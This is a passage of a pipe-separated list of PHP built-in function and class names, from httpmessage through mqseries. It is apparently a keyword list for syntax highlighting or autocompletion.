d|httpmessage_setrequesturl|httpmessage_setresponsecode|httpmessage_setresponsestatus|httpmessage_settype|httpmessage_tomessagetypeobject|httpmessage_tostring|httpquerystring|httpquerystring_construct|httpquerystring_get|httpquerystring_mod|httpquerystring_set|httpquerystring_singleton|httpquerystring_toarray|httpquerystring_tostring|httpquerystring_xlate|httprequest|httprequest_addcookies|httprequest_addheaders|httprequest_addpostfields|httprequest_addpostfile|httprequest_addputdata|httprequest_addquerydata|httprequest_addrawpostdata|httprequest_addssloptions|httprequest_clearhistory|httprequest_construct|httprequest_enablecookies|httprequest_getcontenttype|httprequest_getcookies|httprequest_getheaders|httprequest_gethistory|httprequest_getmethod|httprequest_getoptions|httprequest_getpostfields|httprequest_getpostfiles|httprequest_getputdata|httprequest_getputfile|httprequest_getquerydata|httprequest_getrawpostdata|httprequest_getrawrequestmessage|httprequest_getrawresponsemessage|httprequest_getrequestmessage|httprequest_getresponsebody|httprequest_getresponsecode|httprequest_getresponsecookies|httprequest_getresponsedata|httprequest_getresponseheader|httprequest_getresponseinfo|httprequest_getresponsemessage|httprequest_getresponsestatus|httprequest_getssloptions|httprequest_geturl|httprequest_resetcookies|httprequest_send|httprequest_setcontenttype|httprequest_setcookies|httprequest_setheaders|httprequest_setmethod|httprequest_setoptions|httprequest_setpostfields|httprequest_setpostfiles|httprequest_setputdata|httprequest_setputfile|httprequest_setquerydata|httprequest_setrawpostdata|httprequest_setssloptions|httprequest_seturl|httprequestpool|httprequestpool_attach|httprequestpool_construct|httprequestpool_destruct|httprequestpool_detach|httprequestpool_getattachedrequests|httprequestpool_getfinishedrequests|httprequestpool_reset|httprequestpool_send|httprequestpool_socketperform|httprequestpool_socketselect|httpresponse|httpresponse_capture|httpresponse_getbuffersize|httpresponse_getcache|httpresponse_getcachecontrol|httpresponse_getcontentdisposition|httpresponse_getcontenttype|httpresponse_getdata|httpresponse_getetag|httpresponse_getfile|httpresponse_getgzip|httpresponse_getheader|httpresponse_getlastmodified|httpresponse_getrequestbody|httpresponse_getrequestbodystream|httpresponse_getrequestheaders|httpresponse_getstream|httpresponse_getthrottledelay|httpresponse_guesscontenttype|httpresponse_redirect|httpresponse_send|httpresponse_setbuffersize|httpresponse_setcache|httpresponse_setcachecontrol|httpresponse_setcontentdisposition|httpresponse_setcontenttype|httpresponse_setdata|httpresponse_setetag|httpresponse_setfile|httpresponse_setgzip|httpresponse_setheader|httpresponse_setlastmodified|httpresponse_setstream|httpresponse_setthrottledelay|httpresponse_status|hw_array2objrec|hw_changeobject|hw_children|hw_childrenobj|hw_close|hw_connect|hw_connection_info|hw_cp|hw_deleteobject|hw_docbyanchor|hw_docbyanchorobj|hw_document_attributes|hw_document_bodytag|hw_document_content|hw_document_setcontent|hw_document_size|hw_dummy|hw_edittext|hw_error|hw_errormsg|hw_free_document|hw_getanchors|hw_getanchorsobj|hw_getandlock|hw_getchildcoll|hw_getchildcollobj|hw_getchilddoccoll|hw_getchilddoccollobj|hw_getobject|hw_getobjectbyquery|hw_getobjectbyquerycoll|hw_getobjectbyquerycollobj|hw_getobjectbyqueryobj|hw_getparents|hw_getparentsobj|hw_getrellink|hw_getremote|hw_getremotechildren|hw_getsrcbydestobj|hw_gettext|hw_getusername|hw_identify|hw_incollections|hw_info|hw_inscoll|hw_insdoc|hw_insertanchors|hw_insertdocument|hw_insertobject|hw_mapid|hw_modifyobject|hw_mv|hw_new_document|hw_objrec2array|hw_output_document|hw_pconnect|hw_pipedocument|hw_root|hw_setlinkroot|hw_stat|hw_unlock|hw_who|hwapi_attribute|hwapi_attribute_key|hwapi_attribute_langdepvalue|hwapi_attribute_value|hwapi_attribute_values|hwapi_checkin|hwapi_checkout|hwapi_children|hwapi_content|hwapi_content_mimetype|hwapi_content_read|hwapi_copy|hwapi_dbstat|hwapi_dcstat|hwapi_dstanchors|hwapi_dstofsrcanchor|hwapi_error_count|hwapi_error_reason|hwapi_find|hwapi_ftstat|hwapi_hgcsp|hwapi_hwstat|hwapi_identify|hwapi_info|hwapi_insert|hwapi_insertanchor|hwapi_insertcollection|hwapi_insertdocument|hwapi_link|hwapi_lock|hwapi_move|hwapi_new_content|hwapi_object|hwapi_object_assign|hwapi_object_attreditable|hwapi_object_count|hwapi_object_insert|hwapi_object_new|hwapi_object_remove|hwapi_object_title|hwapi_object_value|hwapi_objectbyanchor|hwapi_parents|hwapi_reason_description|hwapi_reason_type|hwapi_remove|hwapi_replace|hwapi_setcommittedversion|hwapi_srcanchors|hwapi_srcsofdst|hwapi_unlock|hwapi_user|hwapi_userlist|hypot|ibase_add_user|ibase_affected_rows|ibase_backup|ibase_blob_add|ibase_blob_cancel|ibase_blob_close|ibase_blob_create|ibase_blob_echo|ibase_blob_get|ibase_blob_import|ibase_blob_info|ibase_blob_open|ibase_close|ibase_commit|ibase_commit_ret|ibase_connect|ibase_db_info|ibase_delete_user|ibase_drop_db|ibase_errcode|ibase_errmsg|ibase_execute|ibase_fetch_assoc|ibase_fetch_object|ibase_fetch_row|ibase_field_info|ibase_free_event_handler|ibase_free_query|ibase_free_result|ibase_gen_id|ibase_maintain_db|ibase_modify_user|ibase_name_result|ibase_num_fields|ibase_num_params|ibase_param_info|ibase_pconnect|ibase_prepare|ibase_query|ibase_restore|ibase_rollback|ibase_rollback_ret|ibase_server_info|ibase_service_attach|ibase_service_detach|ibase_set_event_handler|ibase_timefmt|ibase_trans|ibase_wait_event|iconv|iconv_get_encoding|iconv_mime_decode|iconv_mime_decode_headers|iconv_mime_encode|iconv_set_encoding|iconv_strlen|iconv_strpos|iconv_strrpos|iconv_substr|id3_get_frame_long_name|id3_get_frame_short_name|id3_get_genre_id|id3_get_genre_list|id3_get_genre_name|id3_get_tag|id3_get_version|id3_remove_tag|id3_set_tag|id3v2attachedpictureframe|id3v2frame|id3v2tag|idate|idn_to_ascii|idn_to_unicode|idn_to_utf8|ifx_affected_rows|ifx_blobinfile_mode|ifx_byteasvarchar|ifx_close|ifx_connect|ifx_copy_blob|ifx_create_blob|ifx_create_char|ifx_do|ifx_error|ifx_errormsg|ifx_fetch_row|ifx_fieldproperties|ifx_fieldtypes|ifx_free_blob|ifx_free_char|ifx_free_result|ifx_get_blob|ifx_get_char|ifx_getsqlca|ifx_htmltbl_result|ifx_nullformat|ifx_num_fields|ifx_num_rows|ifx_pconnect|ifx_prepare|ifx_query|ifx_textasvarchar|ifx_update_blob|ifx_update_char|ifxus_close_slob|ifxus_create_slob|ifxus_free_slob|ifxus_open_slob|ifxus_read_slob|ifxus_seek_slob|ifxus_tell_slob|ifxus_write_slob|ignore_user_abort|iis_add_server|iis_get_dir_security|iis_get_script_map|iis_get_server_by_comment|iis_get_server_by_path|iis_get_server_rights|iis_get_service_state|iis_remove_server|iis_set_app_settings|iis_set_dir_security|iis_set_script_map|iis_set_server_rights|iis_start_server|iis_start_service|iis_stop_server|iis_stop_service|image2wbmp|image_type_to_extension|image_type_to_mime_type|imagealphablending|imageantialias|imagearc|imagechar|imagecharup|imagecolorallocate|imagecolorallocatealpha|imagecolorat|imagecolorclosest|imagecolorclosestalpha|imagecolorclosesthwb|imagecolordeallocate|imagecolorexact|imagecolorexactalpha|imagecolormatch|imagecolorresolve|imagecolorresolvealpha|imagecolorset|imagecolorsforindex|imagecolorstotal|imagecolortransparent|imageconvolution|imagecopy|imagecopymerge|imagecopymergegray|imagecopyresampled|imagecopyresized|imagecreate|imagecreatefromgd|imagecreatefromgd2|imagecreatefromgd2part|imagecreatefromgif|imagecreatefromjpeg|imagecreatefrompng|imagecreatefromstring|imagecreatefromwbmp|imagecreatefromxbm|imagecreatefromxpm|imagecreatetruecolor|imagedashedline|imagedestroy|imageellipse|imagefill|imagefilledarc|imagefilledellipse|imagefilledpolygon|imagefilledrectangle|imagefilltoborder|imagefilter|imagefontheight|imagefontwidth|imageftbbox|imagefttext|imagegammacorrect|imagegd|imagegd2|imagegif|imagegrabscreen|imagegrabwindow|imageinterlace|imageistruecolor|imagejpeg|imagelayereffect|imageline|imageloadfont|imagepalettecopy|imagepng|imagepolygon|imagepsbbox|imagepsencodefont|imagepsextendfont|imagepsfreefont|imagepsloadfont|imagepsslantfont|imagepstext|imagerectangle|imagerotate|imagesavealpha|imagesetbrush|imagesetpixel|imagesetstyle|imagesetthickness|imagesettile|imagestring|imagestringup|imagesx|imagesy|imagetruecolortopalette|imagettfbbox|imagettftext|imagetypes|imagewbmp|imagexbm|imagick|imagick_adaptiveblurimage|imagick_adaptiveresizeimage|imagick_adaptivesharpenimage|imagick_adaptivethresholdimage|imagick_addimage|imagick_addnoiseimage|imagick_affinetransformimage|imagick_animateimages|imagick_annotateimage|imagick_appendimages|imagick_averageimages|imagick_blackthresholdimage|imagick_blurimage|imagick_borderimage|imagick_charcoalimage|imagick_chopimage|imagick_clear|imagick_clipimage|imagick_clippathimage|imagick_clone|imagick_clutimage|imagick_coalesceimages|imagick_colorfloodfillimage|imagick_colorizeimage|imagick_combineimages|imagick_commentimage|imagick_compareimagechannels|imagick_compareimagelayers|imagick_compareimages|imagick_compositeimage|imagick_construct|imagick_contrastimage|imagick_contraststretchimage|imagick_convolveimage|imagick_cropimage|imagick_cropthumbnailimage|imagick_current|imagick_cyclecolormapimage|imagick_decipherimage|imagick_deconstructimages|imagick_deleteimageartifact|imagick_despeckleimage|imagick_destroy|imagick_displayimage|imagick_displayimages|imagick_distortimage|imagick_drawimage|imagick_edgeimage|imagick_embossimage|imagick_encipherimage|imagick_enhanceimage|imagick_equalizeimage|imagick_evaluateimage|imagick_extentimage|imagick_flattenimages|imagick_flipimage|imagick_floodfillpaintimage|imagick_flopimage|imagick_frameimage|imagick_fximage|imagick_gammaimage|imagick_gaussianblurimage|imagick_getcolorspace|imagick_getcompression|imagick_getcompressionquality|imagick_getcopyright|imagick_getfilename|imagick_getfont|imagick_getformat|imagick_getgravity|imagick_gethomeurl|imagick_getimage|imagick_getimagealphachannel|imagick_getimageartifact|imagick_getimagebackgroundcolor|imagick_getimageblob|imagick_getimageblueprimary|imagick_getimagebordercolor|imagick_getimagechanneldepth|imagick_getimagechanneldistortion|imagick_getimagechanneldistortions|imagick_getimagechannelextrema|imagick_getimagechannelmean|imagick_getimagechannelrange|imagick_getimagechannelstatistics|imagick_getimageclipmask|imagick_getimagecolormapcolor|imagick_getimagecolors|imagick_getimagecolorspace|imagick_getimagecompose|imagick_getimagecompression|imagick_getimagecompressionquality|imagick_getimagedelay|imagick_getimagedepth|imagick_getimagedispose|imagick_getimagedistortion|imagick_getimageextrema|imagick_getimagefilename|imagick_getimageformat|imagick_getimagegamma|imagick_getimagegeometry|imagick_getimagegravity|imagick_getimagegreenprimary|imagick_getimageheight|imagick_getimagehistogram|imagick_getimageindex|imagick_getimageinterlacescheme|imagick_getimageinterpolatemethod|imagick_getimageiterations|imagick_getimagelength|imagick_getimagemagicklicense|imagick_getimagematte|imagick_getimagemattecolor|imagick_getimageorientation|imagick_getimagepage|imagick_getimagepixelcolor|imagick_getimageprofile|imagick_getimageprofiles|imagick_getimageproperties|imagick_getimageproperty|imagick_getimageredprimary|imagick_getimageregion|imagick_getimagerenderingintent|imagick_getimageresolution|imagick_getimagesblob|imagick_getimagescene|imagick_getimagesignature|imagick_getimagesize|imagick_getimagetickspersecond|imagick_getimagetotalinkdensity|imagick_getimagetype|imagick_getimageunits|imagick_getimagevirtualpixelmethod|imagick_getimagewhitepoint|imagick_getimagewidth|imagick_getinterlacescheme|imagick_getiteratorindex|imagick_getnumberimages|imagick_getoption|imagick_getpackagename|imagick_getpage|imagick_getpixeliterator|imagick_getpixelregioniterator|imagick_getpointsize|imagick_getquantumdepth|imagick_getquantumrange|imagick_getreleasedate|imagick_getresource|imagick_getresourcelimit|imagick_getsamplingfactors|imagick_getsize|imagick_getsizeoffset|imagick_getversion|imagick_hasnextimage|imagick_haspreviousimage|imagick_identifyimage|imagick_implodeimage|imagick_labelimage|imagick_levelimage|imagick_linearstretchimage|imagick_liquidrescaleimage|imagick_magnifyimage|imagick_mapimage|imagick_mattefloodfillimage|imagick_medianfilterimage|imagick_mergeimagelayers|imagick_minifyimage|imagick_modulateimage|imagick_montageimage|imagick_morphimages|imagick_mosaicimages|imagick_motionblurimage|imagick_negateimage|imagick_newimage|imagick_newpseudoimage|imagick_nextimage|imagick_normalizeimage|imagick_oilpaintimage|imagick_opaquepaintimage|imagick_optimizeimagelayers|imagick_orderedposterizeimage|imagick_paintfloodfillimage|imagick_paintopaqueimage|imagick_painttransparentimage|imagick_pingimage|imagick_pingimageblob|imagick_pingimagefile|imagick_polaroidimage|imagick_posterizeimage|imagick_previewimages|imagick_previousimage|imagick_profileimage|imagick_quantizeimage|imagick_quantizeimages|imagick_queryfontmetrics|imagick_queryfonts|imagick_queryformats|imagick_radialblurimage|imagick_raiseimage|imagick_randomthresholdimage|imagick_readimage|imagick_readimageblob|imagick_readimagefile|imagick_recolorimage|imagick_reducenoiseimage|imagick_removeimage|imagick_removeimageprofile|imagick_render|imagick_resampleimage|imagick_resetimagepage|imagick_resizeimage|imagick_rollimage|imagick_rotateimage|imagick_roundcorners|imagick_sampleimage|imagick_scaleimage|imagick_separateimagechannel|imagick_sepiatoneimage|imagick_setbackgroundcolor|imagick_setcolorspace|imagick_setcompression|imagick_setcompressionquality|imagick_setfilename|imagick_setfirstiterator|imagick_setfont|imagick_setformat|imagick_setgravity|imagick_setimage|imagick_setimagealphachannel|imagick_setimageartifact|imagick_setimagebackgroundcolor|imagick_setimagebias|imagick_setimageblueprimary|imagick_setimagebordercolor|imagick_setimagechanneldepth|imagick_setimageclipmask|imagick_setimagecolormapcolor|imagick_setimagecolorspace|imagick_setimagecompose|imagick_setimagecompression|imagick_setimagecompressionquality|imagick_setimagedelay|imagick_setimagedepth|imagick_setimagedispose|imagick_setimageextent|imagick_setimagefilename|imagick_setimageformat|imagick_setimagegamma|imagick_setimagegravity|imagick_setimagegreenprimary|imagick_setimageindex|imagick_setimageinterlacescheme|imagick_setimageinterpolatemethod|imagick_setimageiterations|imagick_setimagematte|imagick_setimagemattecolor|imagick_setimageopacity|imagick_setimageorientation|imagick_setimagepage|imagick_setimageprofile|imagick_setimageproperty|imagick_setimageredprimary|imagick_setimagerenderingintent|imagick_setimageresolution|imagick_setimagescene|imagick_setimagetickspersecond|imagick_setimagetype|imagick_setimageunits|imagick_setimagevirtualpixelmethod|imagick_setimagewhitepoint|imagick_setinterlacescheme|imagick_setiteratorindex|imagick_setlastiterator|imagick_setoption|imagick_setpage|imagick_setpointsize|imagick_setresolution|imagick_setresourcelimit|imagick_setsamplingfactors|imagick_setsize|imagick_setsizeoffset|imagick_settype|imagick_shadeimage|imagick_shadowimage|imagick_sharpenimage|imagick_shaveimage|imagick_shearimage|imagick_sigmoidalcontrastimage|imagick_sketchimage|imagick_solarizeimage|imagick_spliceimage|imagick_spreadimage|imagick_steganoimage|imagick_stereoimage|imagick_stripimage|imagick_swirlimage|imagick_textureimage|imagick_thresholdimage|imagick_thumbnailimage|imagick_tintimage|imagick_transformimage|imagick_transparentpaintimage|imagick_transposeimage|imagick_transverseimage|imagick_trimimage|imagick_uniqueimagecolors|imagick_unsharpmaskimage|imagick_valid|imagick_vignetteimage|imagick_waveimage|imagick_whitethresholdimage|imagick_writeimage|imagick_writeimagefile|imagick_writeimages|imagick_writeimagesfile|imagickdraw|imagickdraw_affine|imagickdraw_annotation|imagickdraw_arc|imagickdraw_bezier|imagickdraw_circle|imagickdraw_clear|imagickdraw_clone|imagickdraw_color|imagickdraw_comment|imagickdraw_composite|imagickdraw_construct|imagickdraw_destroy|imagickdraw_ellipse|imagickdraw_getclippath|imagickdraw_getcliprule|imagickdraw_getclipunits|imagickdraw_getfillcolor|imagickdraw_getfillopacity|imagickdraw_getfillrule|imagickdraw_getfont|imagickdraw_getfontfamily|imagickdraw_getfontsize|imagickdraw_getfontstyle|imagickdraw_getfontweight|imagickdraw_getgravity|imagickdraw_getstrokeantialias|imagickdraw_getstrokecolor|imagickdraw_getstrokedasharray|imagickdraw_getstrokedashoffset|imagickdraw_getstrokelinecap|imagickdraw_getstrokelinejoin|imagickdraw_getstrokemiterlimit|imagickdraw_getstrokeopacity|imagickdraw_getstrokewidth|imagickdraw_gettextalignment|imagickdraw_gettextantialias|imagickdraw_gettextdecoration|imagickdraw_gettextencoding|imagickdraw_gettextundercolor|imagickdraw_getvectorgraphics|imagickdraw_line|imagickdraw_matte|imagickdraw_pathclose|imagickdraw_pathcurvetoabsolute|imagickdraw_pathcurvetoquadraticbezierabsolute|imagickdraw_pathcurvetoquadraticbezierrelative|imagickdraw_pathcurvetoquadraticbeziersmoothabsolute|imagickdraw_pathcurvetoquadraticbeziersmoothrelative|imagickdraw_pathcurvetorelative|imagickdraw_pathcurvetosmoothabsolute|imagickdraw_pathcurvetosmoothrelative|imagickdraw_pathellipticarcabsolute|imagickdraw_pathellipticarcrelative|imagickdraw_pathfinish|imagickdraw_pathlinetoabsolute|imagickdraw_pathlinetohorizontalabsolute|imagickdraw_pathlinetohorizontalrelative|imagickdraw_pathlinetorelative|imagickdraw_pathlinetoverticalabsolute|imagickdraw_pathlinetoverticalrelative|imagickdraw_pathmovetoabsolute|imagickdraw_pathmovetorelative|imagickdraw_pathstart|imagickdraw_point|imagickdraw_polygon|imagickdraw_polyline|imagickdraw_pop|imagickdraw_popclippath|imagickdraw_popdefs|imagickdraw_poppattern|imagickdraw_push|imagickdraw_pushclippath|imagickdraw_pushdefs|imagickdraw_pushpattern|imagickdraw_rectangle|imagickdraw_render|imagickdraw_rotate|imagickdraw_roundrectangle|imagickdraw_scale|imagickdraw_setclippath|imagickdraw_setcliprule|imagickdraw_setclipunits|imagickdraw_setfillalpha|imagickdraw_setfillcolor|imagickdraw_setfillopacity|imagickdraw_setfillpatternurl|imagickdraw_setfillrule|imagickdraw_setfont|imagickdraw_setfontfamily|imagickdraw_setfontsize|imagickdraw_setfontstretch|imagickdraw_setfontstyle|imagickdraw_setfontweight|imagickdraw_setgravity|imagickdraw_setstrokealpha|imagickdraw_setstrokeantialias|imagickdraw_setstrokecolor|imagickdraw_setstrokedasharray|imagickdraw_setstrokedashoffset|imagickdraw_setstrokelinecap|imagickdraw_setstrokelinejoin|imagickdraw_setstrokemiterlimit|imagickdraw_setstrokeopacity|imagickdraw_setstrokepatternurl|imagickdraw_setstrokewidth|imagickdraw_settextalignment|imagickdraw_settextantialias|imagickdraw_settextdecoration|imagickdraw_settextencoding|imagickdraw_settextundercolor|imagickdraw_setvectorgraphics|imagickdraw_setviewbox|imagickdraw_skewx|imagickdraw_skewy|imagickdraw_translate|imagickpixel|imagickpixel_clear|imagickpixel_construct|imagickpixel_destroy|imagickpixel_getcolor|imagickpixel_getcolorasstring|imagickpixel_getcolorcount|imagickpixel_getcolorvalue|imagickpixel_gethsl|imagickpixel_issimilar|imagickpixel_setcolor|imagickpixel_setcolorvalue|imagickpixel_sethsl|imagickpixeliterator|imagickpixeliterator_clear|imagickpixeliterator_construct|imagickpixeliterator_destroy|imagickpixeliterator_getcurrentiteratorrow|imagickpixeliterator_getiteratorrow|imagickpixeliterator_getnextiteratorrow|imagickpixeliterator_getpreviousiteratorrow|imagickpixeliterator_newpixeliterator|imagickpixeliterator_newpixelregioniterator|imagickpixeliterator_resetiterator|imagickpixeliterator_setiteratorfirstrow|imagickpixeliterator_setiteratorlastrow|imagickpixeliterator_setiteratorrow|imagickpixeliterator_synciterator|imap_8bit|imap_alerts|imap_append|imap_base64|imap_binary|imap_body|imap_bodystruct|imap_check|imap_clearflag_full|imap_close|imap_create|imap_createmailbox|imap_delete|imap_deletemailbox|imap_errors|imap_expunge|imap_fetch_overview|imap_fetchbody|imap_fetchheader|imap_fetchmime|imap_fetchstructure|imap_fetchtext|imap_gc|imap_get_quota|imap_get_quotaroot|imap_getacl|imap_getmailboxes|imap_getsubscribed|imap_header|imap_headerinfo|imap_headers|imap_last_error|imap_list|imap_listmailbox|imap_listscan|imap_listsubscribed|imap_lsub|imap_mail|imap_mail_compose|imap_mail_copy|imap_mail_move|imap_mailboxmsginfo|imap_mime_header_decode|imap_msgno|imap_num_msg|imap_num_recent|imap_open|imap_ping|imap_qprint|imap_rename|imap_renamemailbox|imap_reopen|imap_rfc822_parse_adrlist|imap_rfc822_parse_headers|imap_rfc822_write_address|imap_savebody|imap_scan|imap_scanmailbox|imap_search|imap_set_quota|imap_setacl|imap_setflag_full|imap_sort|imap_status|imap_subscribe|imap_thread|imap_timeout|imap_uid|imap_undelete|imap_unsubscribe|imap_utf7_decode|imap_utf7_encode|imap_utf8|implementsinterface|implode|import_request_variables|in_array|include|include_once|inclued_get_data|inet_ntop|inet_pton|infiniteiterator|ingres_autocommit|ingres_autocommit_state|ingres_charset|ingres_close|ingres_commit|ingres_connect|ingres_cursor|ingres_errno|ingres_error|ingres_errsqlstate|ingres_escape_string|ingres_execute|ingres_fetch_array|ingres_fetch_assoc|ingres_fetch_object|ingres_fetch_proc_return|ingres_fetch_row|ingres_field_length|ingres_field_name|ingres_field_nullable|ingres_field_precision|ingres_field_scale|ingres_field_type|ingres_free_result|ingres_next_error|ingres_num_fields|ingres_num_rows|ingres_pconnect|ingres_prepare|ingres_query|ingres_result_seek|ingres_rollback|ingres_set_environment|ingres_unbuffered_query|ini_alter|ini_get|ini_get_all|ini_restore|ini_set|innamespace|inotify_add_watch|inotify_init|inotify_queue_len|inotify_read|inotify_rm_watch|interface_exists|intl_error_name|intl_get_error_code|intl_get_error_message|intl_is_failure|intldateformatter|intval|invalidargumentexception|invoke|invokeargs|ip2long|iptcembed|iptcparse|is_a|is_array|is_bool|is_callable|is_dir|is_double|is_executable|is_file|is_finite|is_float|is_infinite|is_int|is_integer|is_link|is_long|is_nan|is_null|is_numeric|is_object|is_readable|is_real|is_resource|is_scalar|is_soap_fault|is_string|is_subclass_of|is_uploaded_file|is_writable|is_writeable|isabstract|iscloneable|isdisabled|isfinal|isinstance|isinstantiable|isinterface|isinternal|isiterateable|isset|issubclassof|isuserdefined|iterator|iterator_apply|iterator_count|iterator_to_array|iteratoraggregate|iteratoriterator|java_last_exception_clear|java_last_exception_get|jddayofweek|jdmonthname|jdtofrench|jdtogregorian|jdtojewish|jdtojulian|jdtounix|jewishtojd|join|jpeg2wbmp|json_decode|json_encode|json_last_error|jsonserializable|judy|judy_type|judy_version|juliantojd|kadm5_chpass_principal|kadm5_create_principal|kadm5_delete_principal|kadm5_destroy|kadm5_flush|kadm5_get_policies|kadm5_get_principal|kadm5_get_principals|kadm5_init_with_password|kadm5_modify_principal|key|krsort|ksort|lcfirst|lcg_value|lchgrp|lchown|ldap_8859_to_t61|ldap_add|ldap_bind|ldap_close|ldap_compare|ldap_connect|ldap_count_entries|ldap_delete|ldap_dn2ufn|ldap_err2str|ldap_errno|ldap_error|ldap_explode_dn|ldap_first_attribute|ldap_first_entry|ldap_first_reference|ldap_free_result|ldap_get_attributes|ldap_get_dn|ldap_get_entries|ldap_get_option|ldap_get_values|ldap_get_values_len|ldap_list|ldap_mod_add|ldap_mod_del|ldap_mod_replace|ldap_modify|ldap_next_attribute|ldap_next_entry|ldap_next_reference|ldap_parse_reference|ldap_parse_result|ldap_read|ldap_rename|ldap_sasl_bind|ldap_search|ldap_set_option|ldap_set_rebind_proc|ldap_sort|ldap_start_tls|ldap_t61_to_8859|ldap_unbind|lengthexception|levenshtein|libxml_clear_errors|libxml_disable_entity_loader|libxml_get_errors|libxml_get_last_error|libxml_set_streams_context|libxml_use_internal_errors|libxmlerror|limititerator|link|linkinfo|list|locale|localeconv|localtime|log|log10|log1p|logicexception|long2ip|lstat|ltrim|lzf_compress|lzf_decompress|lzf_optimized_for|m_checkstatus|m_completeauthorizations|m_connect|m_connectionerror|m_deletetrans|m_destroyconn|m_destroyengine|m_getcell|m_getcellbynum|m_getcommadelimited|m_getheader|m_initconn|m_initengine|m_iscommadelimited|m_maxconntimeout|m_monitor|m_numcolumns|m_numrows|m_parsecommadelimited|m_responsekeys|m_responseparam|m_returnstatus|m_setblocking|m_setdropfile|m_setip|m_setssl|m_setssl_cafile|m_setssl_files|m_settimeout|m_sslcert_gen_hash|m_transactionssent|m_transinqueue|m_transkeyval|m_transnew|m_transsend|m_uwait|m_validateidentifier|m_verifyconnection|m_verifysslcert|magic_quotes_runtime|mail|mailparse_determine_best_xfer_encoding|mailparse_msg_create|mailparse_msg_extract_part|mailparse_msg_extract_part_file|mailparse_msg_extract_whole_part_file|mailparse_msg_free|mailparse_msg_get_part|mailparse_msg_get_part_data|mailparse_msg_get_structure|mailparse_msg_parse|mailparse_msg_parse_file|mailparse_rfc822_parse_addresses|mailparse_stream_encode|mailparse_uudecode_all|main|max|maxdb_affected_rows|maxdb_autocommit|maxdb_bind_param|maxdb_bind_result|maxdb_change_user|maxdb_character_set_name|maxdb_client_encoding|maxdb_close|maxdb_close_long_data|maxdb_commit|maxdb_connect|maxdb_connect_errno|maxdb_connect_error|maxdb_data_seek|maxdb_debug|maxdb_disable_reads_from_master|maxdb_disable_rpl_parse|maxdb_dump_debug_info|maxdb_embedded_connect|maxdb_enable_reads_from_master|maxdb_enable_rpl_parse|maxdb_errno|maxdb_error|maxdb_escape_string|maxdb_execute|maxdb_fetch|maxdb_fetch_array|maxdb_fetch_assoc|maxdb_fetch_field|maxdb_fetch_field_direct|maxdb_fetch_fields|maxdb_fetch_lengths|maxdb_fetch_object|maxdb_fetch_row|maxdb_field_count|maxdb_field_seek|maxdb_field_tell|maxdb_free_result|maxdb_get_client_info|maxdb_get_client_version|maxdb_get_host_info|maxdb_get_metadata|maxdb_get_proto_info|maxdb_get_server_info|maxdb_get_server_version|maxdb_info|maxdb_init|maxdb_insert_id|maxdb_kill|maxdb_master_query|maxdb_more_results|maxdb_multi_query|maxdb_next_result|maxdb_num_fields|maxdb_num_rows|maxdb_options|maxdb_param_count|maxdb_ping|maxdb_prepare|maxdb_query|maxdb_real_connect|maxdb_real_escape_string|maxdb_real_query|maxdb_report|maxdb_rollback|maxdb_rpl_parse_enabled|maxdb_rpl_probe|maxdb_rpl_query_type|maxdb_select_db|maxdb_send_long_data|maxdb_send_query|maxdb_server_end|maxdb_server_init|maxdb_set_opt|maxdb_sqlstate|maxdb_ssl_set|maxdb_stat|maxdb_stmt_affected_rows|maxdb_stmt_bind_param|maxdb_stmt_bind_result|maxdb_stmt_close|maxdb_stmt_close_long_data|maxdb_stmt_data_seek|maxdb_stmt_errno|maxdb_stmt_error|maxdb_stmt_execute|maxdb_stmt_fetch|maxdb_stmt_free_result|maxdb_stmt_init|maxdb_stmt_num_rows|maxdb_stmt_param_count|maxdb_stmt_prepare|maxdb_stmt_reset|maxdb_stmt_result_metadata|maxdb_stmt_send_long_data|maxdb_stmt_sqlstate|maxdb_stmt_store_result|maxdb_store_result|maxdb_thread_id|maxdb_thread_safe|maxdb_use_result|maxdb_warning_count|mb_check_encoding|mb_convert_case|mb_convert_encoding|mb_convert_kana|mb_convert_variables|mb_decode_mimeheader|mb_decode_numericentity|mb_detect_encoding|mb_detect_order|mb_encode_mimeheader|mb_encode_numericentity|mb_encoding_aliases|mb_ereg|mb_ereg_match|mb_ereg_replace|mb_ereg_search|mb_ereg_search_getpos|mb_ereg_search_getregs|mb_ereg_search_init|mb_ereg_search_pos|mb_ereg_search_regs|mb_ereg_search_setpos|mb_eregi|mb_eregi_replace|mb_get_info|mb_http_input|mb_http_output|mb_internal_encoding|mb_language|mb_list_encodings|mb_output_handler|mb_parse_str|mb_preferred_mime_name|mb_regex_encoding|mb_regex_set_options|mb_send_mail|mb_split|mb_strcut|mb_strimwidth|mb_stripos|mb_stristr|mb_strlen|mb_strpos|mb_strrchr|mb_strrichr|mb_strripos|mb_strrpos|mb_strstr|mb_strtolower|mb_strtoupper|mb_strwidth|mb_substitute_character|mb_substr|mb_substr_count|mcrypt_cbc|mcrypt_cfb|mcrypt_create_iv|mcrypt_decrypt|mcrypt_ecb|mcrypt_enc_get_algorithms_name|mcrypt_enc_get_block_size|mcrypt_enc_get_iv_size|mcrypt_enc_get_key_size|mcrypt_enc_get_modes_name|mcrypt_enc_get_supported_key_sizes|mcrypt_enc_is_block_algorithm|mcrypt_enc_is_block_algorithm_mode|mcrypt_enc_is_block_mode|mcrypt_enc_self_test|mcrypt_encrypt|mcrypt_generic|mcrypt_generic_deinit|mcrypt_generic_end|mcrypt_generic_init|mcrypt_get_block_size|mcrypt_get_cipher_name|mcrypt_get_iv_size|mcrypt_get_key_size|mcrypt_list_algorithms|mcrypt_list_modes|mcrypt_module_close|mcrypt_module_get_algo_block_size|mcrypt_module_get_algo_key_size|mcrypt_module_get_supported_key_sizes|mcrypt_module_is_block_algorithm|mcrypt_module_is_block_algorithm_mode|mcrypt_module_is_block_mode|mcrypt_module_open|mcrypt_module_self_test|mcrypt_ofb|md5|md5_file|mdecrypt_generic|memcache|memcache_debug|memcached|memory_get_peak_usage|memory_get_usage|messageformatter|metaphone|method_exists|mhash|mhash_count|mhash_get_block_size|mhash_get_hash_name|mhash_keygen_s2k|microtime|mime_content_type|min|ming_keypress|ming_setcubicthreshold|ming_setscale|ming_setswfcompression|ming_useconstants|ming_useswfversion|mkdir|mktime|money_format|mongo|mongobindata|mongocode|mongocollection|mongoconnectionexception|mongocursor|mongocursorexception|mongocursortimeoutexception|mongodate|mongodb|mongodbref|mongoexception|mongogridfs|mongogridfscursor|mongogridfsexception|mongogridfsfile|mongoid|mongoint32|mongoint64|mongomaxkey|mongominkey|mongoregex|mongotimestamp|move_uploaded_file|mpegfile|mqseries_back|mqseries_begin|mqseries_close|mqseries_cmit|mqseries_conn|mqseries_connx|mqseries_disc|mqseries_get|mqseries_inq|mqseries_open|mqseries_put|mqseries_put1|mqseries_set|mqseries_strerror|msession_